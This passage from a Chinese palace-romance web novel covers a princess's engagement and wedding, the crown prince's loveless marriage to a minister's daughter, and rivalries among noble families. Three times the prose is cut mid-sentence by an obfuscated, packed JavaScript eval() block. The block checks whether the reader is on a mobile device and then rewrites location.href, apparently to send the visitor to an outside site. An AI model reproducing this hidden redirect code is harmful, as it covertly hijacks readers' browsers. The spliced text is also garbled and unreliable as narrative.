这位十公主可真了解少爷的品味，前段日子的画儿，今儿的折扇，少爷对她也前所未有地用心，想来两人日后的感情会很和谐。家和万事兴，夫人若见少爷公主琴瑟和鸣，当初对这桩姻亲的怨怼，大概也能消散的吧。 邝嬷嬷暗暗思忖。 然则情况恰恰相反。 崔介待薛柔所赠之物珍如拱璧，专门打了个柜子存放于书房——家里人知道他的书房搁着许多重要公文，随意不踏足打扰，故此贵重物品通通安置在此。 每每路过书房，总能瞧见里头立着的那个干净明亮的柜子，还上着锁，钥匙握在崔介手中，其余的一排排书柜可没上锁，更显这个异类了。 余夫人心中不快，次次冷着脸走开，万籁俱寂时，便同丈夫崔寿磨牙：“你看看你的好儿子，没娶进门呢，就捧珍珠似的捧着，区区一个柜子也值当上锁，怕有贼下手偷了怎么着？” 一回两回，崔寿尚有余力开导她，自崔介带回那卷画儿起，她就在耳根子前没日没夜地唠叨，渐渐地，崔寿不胜其烦，不管她发哪门子邪火，先默一阵子，等她自己没趣住了口，才说：“儿孙自有儿孙福，咱们硬插手，到头来弄巧成拙，可不要闹笑话。你最好颜面，届时收不了场，难受还是你自己。” 余夫人小门小户出来的女儿，见识浅薄，有幸嫁到名门望族崔家，本以为好日子来了，怎奈崔寿性格温吞，不争不抢，由此二房长期被其他几房压着，没一点话语权。 长此以往，心眼子越长越小。 及崔介功成名就，二房终于扬眉吐气，偏生招来一个荒唐公主。 余夫人一闭上眼，尽是其他人指指点点的嘴脸，加上亲儿子一心向着薛柔，且明里暗里提防着她，她万万接受不来。 “你们父子，只管帮着一个外人宣排我，我是为谁辛苦为谁谋，不是为你们崔家百年世家的脸面么？“余夫人冤屈得不得了，滴下泪来，“我算认真了，再优秀的儿子，终究是娶了媳妇忘了娘。” 余夫人一个劲埋怨，正经道理一丁点听不进去，几乎无解。 几次三番折腾下来，崔寿累了，把脱到一半的衣服重新套回去，抬脚去东厢房凑合住了。 * 年纪最小的薛柔说定亲事，排行在前却孤身一人的皇子公主们，纷纷行动起来，怂恿各自的生母，到景帝那吹枕边风。 这之中，舒婕妤跳得最欢，一个月里，车轱辘话反复讲，搞得景帝有些怵她，后面整整一个月没驾临钟秀宫。 舒婕妤尽管抓耳挠腮，薛嘉尽管侥幸自喜，同时，花一段日子说服了自己： 太子哥哥对薛柔只是淡薄的兄妹之情，别无他意，是她自己看差了，因此拜访东宫的次数只增不减。 这日照常去送粥，不巧扑了个空，一问方知是被景帝叫御书房了。 个中细节，东宫的人没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521201|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提，薛嘉不好意思打破砂锅问到底，单说不差这一会，稍等等便是。 谁料热腾腾的粥都凉透了，薛怀义仍没消息，薛嘉按捺不住，搁下食盒，出去迎，好歹没落空，把人一道迎回。 “太子哥哥看起来不甚高兴，可是父皇说了什么？” 薛嘉两只眼坚持不懈地盯着薛怀义，凡他一颦一笑，全然做到第一时间发觉。 薛怀义矢口否认：“并无什么。” 无什么？分明就有什么。 薛嘉死抓着手，愤懑不平，无法释怀，不自禁疑心上了薛柔。 太子哥哥鲜少有丢魂丧魄的时候，独她所见，仅那么一次，他远远望着薛柔，陷入了无知无觉的境地。 薛嘉不敢亦不愿肯定是薛柔在兴风作浪，聪明地闭口不谈，光笑吟吟关切薛怀吃粥。 “中午吃过饭了，不饿，先放着吧。”薛怀义回以微笑，瞧着很通情达理，口吻却坚定得令人无话可劝。 薛嘉没招。 又坐了会，日常的话题全问遍了，委实无理由待下去，薛嘉强颜欢笑道辞。 如果她晚走一步，或者回个头，必定为薛怀义的阴翳满容而惊愕失色，乃至毛骨悚然。 程胜睃着那揭开盖的食盒，语态谨慎：“殿下，那粥……” “照以前一样，倒了便是。” 其实，与薛怀义之间的情谊，净是薛嘉的自以为是。 几个年头以来，她精心准备的粥饭，大半与东宫的泔水混为一团，余下的一小部分，才真真实实进了薛怀义的肚子——她当场监督，不好做手脚。 薛嘉图谋在何，薛怀义洞若观火。以他所见，薛柔不遗余力骂他虚伪的力气，使在薛嘉身上更名副其实。 程胜打发小太监执行命令，他则积极为主子排忧解难：“殿下同陛下关起门来谈了好久，不知所为何事？” 殿下已经够命运多舛的了，但愿不是倒霉事。 程胜忠心耿耿，薛怀义比较信任他，不介意告诉他一些事：“父皇念我后宫寂寞，有意为我侧立太子妃。” 景帝的原话如下： “你十妹妹最小，现今也有了人家，你们兄弟姐妹中未行嫁娶之礼的，属你年长，你又担着太子的名分，偌大后宫，冷冷清清，不免遭人非议。朕考虑了不少人，门户品貌皆配得上太子正妃的，当属中书令王偃的女儿。此女小你一年，大门不出二门不迈，知书达理，温柔贤良，堪为京中女眷之典范。你以为如何？” 中书令王偃，当世第一能臣，为天子的膀臂。他们王家也是百年世家，与李、崔、卢、郑几大家族平分秋色，如若收归王家女，借王家之势撑腰，那太子之位将固若金汤。 至于王家女本人的相貌性情如何，薛怀义不关心，他现阶段所野心勃勃的，乃金銮殿上那把龙椅，乃睥睨天下的权力，儿女私情暂牵绊不住他。 他要爬得更高，凌驾于尘世之上，那时，新仇旧恨，他将一笔一笔清算。 “儿臣但凭父皇做主。” …… “那敢情是天大的喜事！”程胜眉飞色舞道，“咱们东宫总算要迎来太子妃了！” 薛怀义笑而不语。 18. 太子妃 话说崔介配了天子掌上明珠，风光一时，惹得崔家大房横生妒忌，定要也求娶一个公主回家。 薛嘉同崔斓交好，崔家人都熟悉她，都觉得她落落大方，温柔可人，长房的李夫人就此打起了求她做儿媳的主意。 母子连心，崔碌心悦薛嘉已久，但自知是个草包，一无所成，惟好强忍真情，哪怕睡梦间也不敢亵渎于她。 眼下母亲有意撮合，欣喜若狂，若非一屋子丫鬟看着，怕是要手舞足蹈起来。 母子俩一拍即合，李夫人当晚就和丈夫崔安商量。 崔安继承故去的崔老太爷衣钵，时下任户部尚书。 一年中赶上年节，宫中设宴，内宫诸人出席，他远远见过薛嘉几次，虽则走马观花，浮光掠影，但一个人与生俱来的气质是藏不住的，薛嘉诚是位面善可亲的公主。 崔安姑且算个有良心的，情知崔碌是什么德性，远远不配作驸马，不加犹豫地驳回李夫人的主张：“崔碌的婚事我一直操着心，新近相中了一家，各方面条件跟咱们门当户对，你看看行的话，改日就请官媒婆登门提亲吧。” 李夫人、余夫人明里暗里攀比较劲十多年，余夫人先生养了一个人中龙凤的儿子，又抱得十公主这尊大佛当儿媳，意气风发，好不神气，反观李夫人，独苗不成器，儿媳还哪样都差了些，怎能善罢甘休。 “崔碌是从我肠子里爬出来的，他的人生大事，我头一个做得了主！” 李夫人把话说绝，崔安有异议，便使唤丫鬟将他的东西搬出卧房，连他的人也一并撵出了门。 崔安是有些俱内的，毕竟她背靠一个高门大户的李家，有无数有头有脸之人为她撑场子，轻易得罪不起。 忍了几日，心有松动，半推半就地同意了崔碌求娶薛嘉。 舒婕妤消息灵通，那头向景帝提起，紧跟着便将事态摸了个清楚，一刻等不得，忙忙叫来薛嘉促膝长谈。 薛嘉脑子里轰然一声，眼睛都看直了：“他们怎么敢打我的算盘……怎么敢的？” 舒婕妤一面劝，一面揪心，急派遣心腹，捧着半兜子金叶子，用以贿赂御书房的太监，以便打探最近进展。 万幸，景帝悬而未决，推说不久要给太子娶亲，事多，忙，且容后再议。 薛嘉闻知，一颗心松了又紧。 太子哥哥要娶亲了？ 她聪慧过人，立刻联想起前儿在东宫，太子的反常表现来。 一切都串起来了。 所以，不日册封太子妃，他究竟开不开心呢……？ 一个有违人伦的念头缓缓浮现：她希望他是不开心的。 东宫将迎来太子妃这股风儿，薛柔听说了，只是嗤笑戏谑：“王家那么出色的一个女儿就要毁了，真可悲。” 三喜搭茬：“这也仓促，赶在冬至前便要完婚呢。” 屈指一算，距离冬至，仅仅两个多月，果然够匆促的。 薛柔不掩唾弃之意：“王家有实力，薛怀义那种下等货色，当然上赶着倒贴，唯恐晚个几日，王家回过味来拍拍手反悔了，那他不得活活气死。” 同流合污惯了，三喜下意识和她站一边，举双手认可：“王家以前是出过皇后的，与王家结亲，可遇不可求，也就是东宫，方能打动王家人。” “出过皇后又怎样！”一句话不投机，薛柔的火爆脾气复冲腾而上，“父皇母后健朗，他想正式坐上龙椅，扶王家小姐正位正宫，权且等三十年以后吧！” 有关薛怀义的话题，她决计无法平常心对待，三喜吃一堑长一智，转移话头：“还有一件趣事。昨儿九殿下休沐，与皇后娘娘请安，袖袋里不留神掉下一个香囊，绣着翠茵茵的竹子，倒似女子的东西。娘娘看见问九殿下，九殿下目光闪烁，一口咬定是从外边买的，买的时候没仔细过目，错拿了女子的款式。您说好笑不好笑。” 亲身经历一场情事后，薛柔机敏不少，立刻觉察端倪，耐人寻味一笑：“九哥哥这是瞧上谁了，那香囊不是他特意买来准备赠人的，便是人赠给他的。都亲密到送贴身香囊的一步了，还对外瞒得密不透风，九哥哥可真狡猾！” 编排完薛通没两日，薛柔便遇着了他，伸展胳膊，挡住他去路，颇有打家劫舍的架势：“哎呦，最不爱打扮的人都打扮得光鲜亮丽的，竟不知哪位有这么大的面子呀？” 薛通攥拳抵唇下轻咳一声，避重就轻道：“明觉约我上松山书院参观，自然得重视起来，稍稍整一整衣装有什么可奇怪的。” 薛柔忽闪忽闪洞悉一切的眼睛，语调山路十八弯：“哦——” 而后慢慢转到他侧面，趁其不备，顺下他腰间佩戴着的绿竹香囊，掂在手心举给他瞧：“我记性好的话，九哥哥似乎从不戴香袋子的，嫌它太香了，闻着不舒服。今儿个怎么转性了？” 薛通恼了，一把夺回来，干脆揣怀里，省得她胡碰：“妹妹也别取笑我，你自己不也借花献佛，献得性情大变吗？” “好啊九哥哥，伶牙俐齿的。想来你有了心上人，就把妹妹抛之不顾了，实在令人伤心。”薛柔瘪着嘴，假装吃味。 在她这，任薛通神通广大亦施展不开，好言好语哄了半天，又将予他香囊之人的身份揭晓，才算冰释前嫌。 “周家二姑娘？” 薛柔劣迹斑斑，人缘跟着也差，京中这群贵女，不认得几个。 “就是王中书令家的亲戚，将来太子妃的远房表妹。”薛通点拨道。 王媖，钦定太子妃，薛怀义未过门的妻子。 薛柔一下子丧了脸，暗自犯嘀咕： 天底下那许多高门闺女，九哥哥怎的偏偏倾心于王媖的表妹，这下连清清白白的九哥哥亦免不得和薛怀义扯上关系了。 “非得是周家姑娘吗？”薛柔头脑一热，表明心迹，给薛通一愣，好笑道：“这种事，岂能另换他人？妹妹才起床，睡迷糊了吧？” 意识到失言，薛柔借坡下驴，笑嘻嘻道：“整日被皇祖母监管着，不得自由，我浑身的经络都快打结生锈了。你不是赶着赴约吗，我不碍你事了，就去吧。” 薛通爽朗道：“回来给你带九连环、孔明锁解闷玩。” “我这么大个人了，会稀罕那些小孩子的玩意吗？”薛柔白了他一眼，“便捎些外面时兴的话本子，我爱看这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521202|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 薛通记在心上，嘴上却说：“小心被皇祖母抓住现行，打你手板。” 薛柔不耐烦，推他赶紧走。 又过了小半个月。 薛柔跪坐于慈宁宫的一张矮几前，一边回忆上个月学的点茶，一边半生不熟地动手尝试，陈嬷嬷在旁看着，太后则在窗下假寐。 “水放多了。”陈嬷嬷及时纠正错误。 薛柔抿抿嘴，换个干净的茶碗，撒上一层茶叶末，斟酌添入沸水，听陈嬷嬷没动静，上手调拌。 窗外掠过几道影子，陈嬷嬷眼尖，走出去查看。 薛柔手上忙活，眼睛也不肯落闲，歪头偷看。 没一阵子，打起的门帘下，依次进入三个人。 为首的乃一个长挑身材女子，扁扁的、窄窄的鹅蛋脸，容颜清丽。 后面的显然是她一起的丫鬟。 陈嬷嬷则垫后，轻步至太后跟前，将人唤醒：“娘娘，王姑娘来看您了。” 太后缓缓睁眼，王媖福身称：“太后娘娘万福金安。” 追溯起来，太后便是当年从王家出来的皇后，和当今的中书令是姑侄关系，按辈分排，王媖应唤太后一声姑奶奶，不过王家人有规矩知方圆，太后即使挂着王姓，那也先是皇室中人，没法按寻常亲戚来对待，必恭恭敬敬呼为太后娘娘。 太后抬抬下巴，示意陈嬷嬷搬把椅子给王媖坐，王媖只沾着椅子边坐下。 “你父亲母亲可还康健？” 太后近年深居简出，不大召见人，连母族王家人，近四五年里，不过堪堪传唤过五六次。 王媖垂眸答：“自前年病了一场后，母亲的身子便大不如前了，一年有半年离不了汤药；父亲一直没扔下马背上那套，坚持锻炼，这些年没病没灾，硬朗不输壮年人。” 太后点头，另起话题：“今年冷得早，冬至又不远了，你多加注意身体，以防病了痛了，延误了婚期。” 侧耳倾听至此，薛柔方弄明白局面——眼前那温婉小姐，合着正是准太子妃。 她不觉多瞄几眼王媖，见其婉约柔媚，风姿天成，由衷一叹：怎就栽在了薛怀义那贱种手上！ 王媖察觉到侧方的打量，眼梢略斜，余光里出现一个明媚少女，恍惚有几分熟悉。 “小十，你过来。”早知薛柔那头心不在焉，太后索性成全她，喊她过来，与王媖互相认识认识；薛柔依言走近，乖巧站着，“这是王家小姐，长你两岁，不久你就该唤一句嫂嫂了。” 薛柔悄悄不屑。 既不承认薛怀义这个哥哥，哪还需要这个嫂嫂呢？ 薛柔一时没表示，王媖却面面俱到，决不容许气氛僵化，客气疏离地笑一笑：“百闻不如一见，十公主好。” 其实，王媖见过薛柔几次，对她的印象不算好，向来抱以敬而远之的态度。 薛柔提起笑脸，勉强应付了事。 薛柔敷衍的做派，王媖全然领会，心想： 这十公主果然不好相与…… 罢了，惹不起躲得起。 以后能避则避，确实避无可避，不管占不占理，悉数让着她为妙。 19. 凛冬 冬月二十，东宫大喜。 阖宫上下到场观礼，偏有一人不在——薛柔前夕吃坏了肚子，上吐下泻一夜，至东方既白才缓和下来。 盛装参与婚礼，乃无稽之谈，虚浮着半口气躺被窝里歇养，方为头等要事。 整个坤宁宫因她彻夜未眠，一趟趟进人来关切她的病势，尤属皇后伤心，两只眼肿成了桃子，对她半责备半是心疼道：“你这孩子，总叫我提心吊胆，我上辈子真是欠了你的，这辈子为你操碎了心……” 说时，挥泪如雨。 薛柔虚弱无力，没法替母后拭泪，权且叫三喜递帕子。 “母后别哭了，我人没事，就是事出突然，耽误了东宫大事……”她楚楚可怜，很是愧疚的样子。 皇后给她提了提被子，又转头命人添碳火，确保屋子暖如春日，安慰道：“这也是无可奈何的事。你就安安心心养着，没人会怪你。” 时辰不早，不能再逗留了，皇后扶着膝盖起身，搭许嬷嬷的胳膊去了。 探头确认皇后整装离开坤宁宫，三喜缩回脖子，同榻上抻胳膊伸懒腰的薛柔搭腔：“就为了不去东宫，半夜不睡觉，往肚子里猛灌凉水，这还不放心，又洗凉水脚……何苦呢，殿下。” 刚抱怨完，薛柔便打了个喷嚏。 “……我宁可大病不起，也不愿意出席那种场合。”她果决道，“看见薛怀义的脸，还是志得意满的脸，我就犯恶心。既然如此，我干嘛为难我自个儿。” 她乐意目睹薛怀义愤恨到扭曲的面目，而他欣然开朗的模样，只会唤起当日桐花台那段令人作呕的记忆。 三喜斜着眼珠子，咕唧：“那您可不值当，今儿小崔大人也会进宫来呢。” 薛柔乍然瞪大眼睛，半晌没眨眼，过后拍脑门懊悔不及：“我怎把这茬子忘了！” 光顾着躲避瘟神，疏忽了薛怀义顶着太子的名头，他娶亲，朝里的官员须携各家命妇入宫恭贺，崔介自然在列。 她都好久未看见过他了…… 三喜撇撇嘴，俯身把她露在外面的手臂塞回被子底下，掖掖被角：“事已至此，您姑且踏踏实实歇着吧，可不要再节外生枝了。奴婢就在外面守着，您哪里不好受了随时吩咐就好。” 薛柔身上尚可，心里似长出一只手，又抓又挠。 悔恨无益，她摆摆手，翻身冲里边。 是夜，云澜在宫门外接到崔介，忙牵马迎上前嘘寒问暖：“折腾一个白天，公子定乏了吧，不如省了骑马，坐车子回去吧。” 建议完毕，照以前一样，伸手作出接崔介官帽的动作。 崔介视而不见，直接踩马镫翻上马背，策马扬鞭离去。 云澜摸不着头脑。 公子是在跟谁置气吗？ 总不能是针对他吧，他没做错什么啊。 一到家，崔介向父母说明自己不饿，不用等他用膳，就回了书房。 右手边立着一个朱红雕漆柜子，上有锁头，锁的正是薛柔送与他的两样东西。 睹物思人，薛柔的音容笑貌渐渐清晰起来。 今日没瞧见她，她那么张扬，为何会错过东宫的良辰吉日？ 是嫌束手束脚，悄悄躲去别处喘气了吗？ 亦或是天寒地冻，受了凉，抱恙在身，不宜出门？ …… 该过问一下的。 另一方天地，薛怀义亦因一人而心神不宁。 他的大喜日子，他的十妹妹，光明磊落地缺席了。 她是故意的——不吝将自己作践得下不了地，只为躲开他。 她的气焰，几时黯淡了到此种水平？ 婆子适时捧来合卺酒：“太子殿下，太子妃，到吃合卺酒的时辰了。” 才刚揭了盖头，王媖现出一张粉面，朝婆子柔柔一笑，后微微偏转目光，窥视身边人。 但见其面容冷漠，执鸳鸯杯在手，音色清冽：“太子妃，请吧。” 太子妃？他居然唤自己太子妃…… 王媖隐隐诧异，悄悄咬着嘴唇，尽量不显露山水，端起鸳鸯杯，身姿前倾，与之交杯对饮。 合卺酒饮尽，婆子滔滔不绝说了一通吉祥话，领赏谢恩后，欢欢喜喜告退。 屋里唯剩着喜服的二人。 出阁前，教引嬷嬷秘授王媖床笫之事，专待今日。 那图上的内容一股脑涌入脑袋里，王媖喉咙发干，手心出汗，方寸大乱。 但教养使然，她不肯表露半分，默默做个深呼吸，细若蚊蚋：“天色已晚，我伺候殿下安置了吧。” 桐花台，水光粼粼，扁舟轻晃，潮湿的呼吸，温热咸涩的血，共同编织成一张大网，笼住了薛怀义的神思。 他的洞房花烛夜，偏偏是她闯入脑海，根深蒂固。 “我才吃过酒，不甚舒服，太子妃自己休息吧，我去书房住。” 不及挽留，已然归隐苍茫夜色。 门开开合合，王媖的陪嫁丫头银杏快步而入。 “太子妃，太子爷怎么走了？” 王媖放低视线，入目所及，乃被自己一双手抓得皱皱巴巴的衣摆。 “殿下多吃了两盅酒，身子不舒坦，自去书房宿下了。” 自幼，父母谆谆教诲她，须谨言慎行，体贴夫君，时时做到夫为妇纲，因此，她毕生都致力于做一位贤妻良母。 可也是她，明知故犯，违背了人伦纲常，为一个此生绝无可能的人，乱了心旌。 哪怕新婚之夜夫君不留宿，她亦无怨言，并非出于贤惠，事实是心心念念的，另有其人。 她有罪，罪愆深重。 银杏眉头紧蹙，心怀不平，畏于对方是储君，不敢置喙。 “那奴婢服侍您卸妆宽衣吧，明日还得拜见帝后，三日后又有庙见礼，忙着呢，且要养精蓄锐呢。” 王媖点点头。 王媖原以为，薛怀义在书房住不长远，总归会搬回来和她同住，可婚后一月，她夜夜独守空房。 她终究可耻地长舒一口气。 她曾对一人动情，银杏知情，但她已嫁做人妇，无论如何也该忘怀往事，便不以为意，劝她大胆些，直接当面询问清楚。 王家的女儿决不容被人这般羞辱。 王媖诚心弥补妄自动念的罪过，将银杏所言放在心上，挑一个雪夜，请他共进晚膳。 薛怀义准时准点到达。 看他肩头带着雪花，王媖亲手替他解下大氅，挂在衣架上。 “这种小事有下人做，太子妃不必麻烦。” 薛怀义微微笑着，可王媖看来，他的笑十分疏离，仿佛彼此并非夫妻，更像两个萍水相逢之人。 “我是殿下的妻，周到侍奉殿下属分内之事。”王媖柔和道。 薛怀义一笑置之，危坐于方桌一侧。 王媖紧随其后，跟他面对面。 “过了年，父皇意欲挥师南下，朝中事务日渐繁多，我为东宫，不可不为父皇分忧。”薛怀义神机妙算，一早知晓这顿饭的意图，自行解释起来，“所以，少不得要搬去书房一段日子了。” 先有国才有家，王媖深谙此理，无话可说，颔首表示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521203|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解：“好。虽则国事为重，但殿下也要劳逸结合，保重身体才是。” 薛怀义淡淡回应：“我自有分寸。” 无聊且漫长的一顿饭，步入尾声。 薛怀义取了氅衣，横搭在胳膊上，冒雪离去。 王媖静静目送。 一阵寒风迎面吹来，裹挟着点点雪花，扑上她的脸。 “这天气真冷，”银杏关上门，怀抱一件灰鼠毛披风，“太子妃穿得太单薄了，添件披风吧。” 王媖摇摇头，拿起针黹临窗绣起来。 临近年关，宫里上下各自忙碌，挂花灯的挂花灯，贴对联的贴对联，一片喜气祥和。 薛柔拎一把小板凳，坐在廊芜下，指挥一个内侍张贴自己门框上的对联：“左边歪了，右边再抬高点。” 内侍害怕她，手脚颤颤巍巍的，对联越贴越斜。 “就这么大点事，你都办不好，放你们在这宫里是享福的吗？” 正数落着，脖子后头猛然探进来一个凉嗖嗖的东西，冰得她一激灵，弹将起来，回过头一看，原来是薛通在作怪。 “九哥哥你做什么？！”她冷得厉害，把脖子缩回衣领取暖。 薛通嬉皮笑脸道：“这不看你火气大，怕你烧着了，给你降降温嘛。” 名为寻薛柔的乐子，实为替梯子上腿脚发软的内侍解围。 那内侍不敢喘气，忙把对联贴正，踩着梯子下来，低着脑袋溜之大吉。 薛通站眼前，薛柔顾不上操心那内侍如何，只哼了一声，下台阶用手抓一把雪，揉成雪球，直晃晃塞入薛通的后领子。 薛通急掏雪球出来，假做气恼：“早知你气兴这么大，我肯定不给崔大人跑这个腿。” 薛柔面色一变：“崔大人嘱托哥哥来的？他是有什么话传达我吗？” 薛通摇摇左手提着的纸包，朝屋里努嘴：“外头风大天冷，我得进去暖和暖和才好说明白。” 矫情。 薛柔暂且卖他几分情面，让他进屋，又令人奉热茶为他驱寒。 “别卖关子了，崔大人究竟拜托了什么？” “你自己打开看看就知道了。” 三口两口，热茶见光，薛通又向三喜讨茶。 “我要这些苦津津的玩意有何用。” 纸包里的全是各类草药，乌漆嘛黑的，光用眼看，已觉舌头发苦。 薛柔讨厌吃药，对其厌恶程度与对薛怀义的不相上下。 薛通咂咂嘴：“人崔大人念你上个月病倒，特意配了这些药材，补身体用的。你休轻看这黑糊糊的东西，价格不菲呢，顶崔大人两个月的俸禄了。我就问你，崔大人的情意，你领不领？” 既是崔介良苦用心，薛柔勉为其难收下，之后坚持每日泡水喝，虽然入口吞咽的过程堪比酷刑就是了。 除夕夜，交泰殿设宫宴，歌舞升平，其乐融融。 对面安着太子太子妃的席位，薛柔看不惯，全程埋头拣菜吃。 追循薛怀义的视线，王媖看见了闷头吃东西的薛柔，心下一动。 那日去太子书房借用笔墨纸砚时，无意间扫见的那纸丹青，和十公主有七八分相似。 彼时不敢断定十公主就是画中人，如今太子频频向她那桌注目……看来，真的是她。 一个作兄长的，会出于哪种目的，而去画下自己妹妹的丹青，还放置于时刻停靠的书案上呢？ 王媖没有兄弟，无法切身体会手足之情。 既无法感同身受，那便不能妄加揣测。 她默默移开目光。 20. 春宵 年关一过，薛柔成婚的日子数着数着就来了。 天蒙蒙亮，薛柔睡眼惺忪地坐在梳妆镜前，随便宫女们围着自己忙活。 三喜怕她困劲上来，猛不防睡倒了，发动一张小嘴，绞尽脑汁思考话题，以达到喋喋不休效果，给她醒神。 薛柔拼力克服头重脚轻的感觉，有一搭没一搭接三喜的话。 终于熬到迎亲队伍过来，三喜扶着薛柔，前往坤宁宫，拜别皇上皇后。 从前盼女儿早觅良人，有个如意归宿，现今真走到这步，皇后千般不舍，万般牵挂，止不住泪眼婆娑。 许嬷嬷一边递手帕安慰，一边感触良多，偏着头黯然擦泪。 景帝受感染，眼眶子慢慢酸涩难当，目视殿外来来往往的宫人们，叹息：“唉……时间过得真快，连小十都有夫家了，朕不得不服老了……” 顾及薛柔将将过来辞行，皇后收敛悲伤，叫一个小宫女来补一补哭花的胭脂－－大喜的日子，理应高高兴兴的，这样女儿才好安安心心出嫁。 三喜小心搀薛柔入殿，依规矩，向上首的帝后行三跪九叩之礼。 活这许大，她是初次行此大礼。 礼毕，她便要踏出这方宫殿，去崔家落地生根了。 哀切盖过欢喜与激动，薛柔泪流满面，泣不成声：“父皇，母后，儿臣以后一定会开开心心过每一天，不再叫你们挂心……儿臣也会经常回来看望你们的……” 日后身边再无父皇母后掏心掏肺的关怀、宠爱，但她不怕，因为她相信，自己没看错人，崔介也将真心实意地待她。 皇后强忍酸楚说：“去了人家以后，收着些任性，多些宽容。” 景帝紧接着说：“你母后说得是，你往心上去。另外，别忘了常回宫来，这宫门，随时为你敞开。” 薛柔重重点头。 许嬷嬷眨眨眼，掩下晶莹的泪花：“公主平日爱吃的点心，奴婢一样做了些，已让人包好带出去了，公主记得吃，若不够，奴婢再准备。” 许嬷嬷的疼爱，全藏在细枝末节里，朴实无华却打动人心。 薛柔开个玩笑，缓和悲切的气氛：“那嬷嬷可有一阵子忙的了。” 许嬷嬷笑出声，心下却更难受了。 十公主是她看着长大的，跟她自己的孩子似的，一晃眼许了夫家，整个宫里骤然没了她的欢声笑语，该有多寂寥啊。 吉时已到，三喜捧来盖头，小心翼翼为新娘子盖好，扶人慢步出门。 盖头底下，薛柔潸然泪下，浑浑噩噩，连宫门口立着前来送嫁的太子太子妃亦浑然未觉。 随风翻飞的裙摆擦着一角墨色锦衣，短暂地纠缠后，分开来，恢复了泾渭分明的原貌。 王媖善意满满道：“十妹妹出嫁，殿下不去道一下别吗？” 薛怀义举步，同那逐渐淡化的鲜红背道而驰：“十妹妹的好日子，应当留给崔大人，我便耽误他们了。” 王媖跟上，同他并肩而行，正欲回应，迎面遇上薛嘉，停脚浅浅笑道：“十妹妹尚未走远，八妹妹如打算去送一程，是赶得上的。” 薛嘉不冷不热道：“哦，那算了，横竖十妹妹还有回来的时候，见面谈天不急于这一时半会。” 薛嘉对自己隐隐约约抱有敌意，王媖早有察觉，而因由在何，她揣摩不清。 “也对，”王媖是个体面人，薛嘉欠妥，她万万不肯使场面僵了，“十妹妹的家在此，随时可回，多的是相处的机会。” 薛嘉不爽。 她不过是逢场作戏，虚假地尽一尽姐妹情分，这人还夸夸其谈上了，存心拿薛柔给她添堵的吧！ 薛嘉将目光转向始终沉默寡言的薛怀义——她才不是奔薛柔的，本就是算计着太子必定到来；她已经快两个月未曾见得他人了：“开春了，太子哥哥多多注意身子，季节之交最容易伤风了。” 薛怀义神色不改，上下两片嘴唇小幅度地动一动：“嗯，八妹妹也是。” 敷衍，太敷衍了。 果然有了太子妃日夜相伴，就毫不犹豫地待她这号人视而不见了。 薛嘉怨气重重，死掐着手心，好歹不致失态：“下月便是我的生辰，太子哥哥会到场的吧？” 一连好几个月，薛嘉未能抓着他的人，每每问起，得到的答案千篇一律：朝事繁忙，太子殿下抽不开身。 且当他忙至分身乏术的地步好了。 可纵使如此，他与太子妃仍然夜夜同床共枕，气息相融，亲密无间；他们是夫妻，明媒正娶、同去太庙拜过列祖列宗的夫妻，任何人都无法拆散的关系，牢不可破。 薛嘉的胸脯剧烈起伏着，她按住胸口，暗暗告诉自己，不能继续想了，得速速离开此地，倘若晚去一步，她会忍不住丧失体统的。 “那天，我会等着太子哥哥……和太子妃嫂嫂的。” 薛嘉近乎落荒而逃。 借薛嘉挑起的话头，王媖询问：“八妹妹生辰那日，殿下可还须投身公务？” 薛怀义言简意赅道：“出师在即，无暇儿女私情。” 虽为夫妻，却有名无实，甚至彼此单独相处的次数屈指可数，讲过的话更是少之又少，干之又干。 本应最熟稔的两人，仿佛隔着一道不可逾越的鸿沟。 究竟哪里出了错？ 王媖只知反思自己心底所埋藏的那抹妄念，仅仅此举，已耗尽心力，疲于揣测推敲薛怀义如何了。 “好。”一如既往，王媖轻垂眼眸，“殿下保重自身，困了乏了，不妨出去走动走动。人多多见一见老天爷，总是有裨益的。” 薛怀义扔下一个语气词：“嗯。” 离开皇后后，薛柔按照耳畔嬷嬷的提示，略显笨拙地完成一道道繁琐的仪式；一个白日结束，落下满身疲惫。 薛柔挑剔，尤其对各种味道，酒味刺鼻，崔介考量周全，舍下前厅应酬宾客的活计，径直入浴房仔仔细细洗漱洁净，穿戴整齐，方至婚房完成剩余流程。 掀起盖头，饮尽合卺酒，听过祝语，一屋子婆子丫鬟哄然散光，唯留新人，衣袂连着衣袂，端坐床沿，相对无言。 薛柔前所未有地紧张，心跳加速，气息凌乱，正常开口讲话放在眼下，亦为难事，看崔介也光明正大不起来，仅停留在鬼鬼祟祟偷瞥 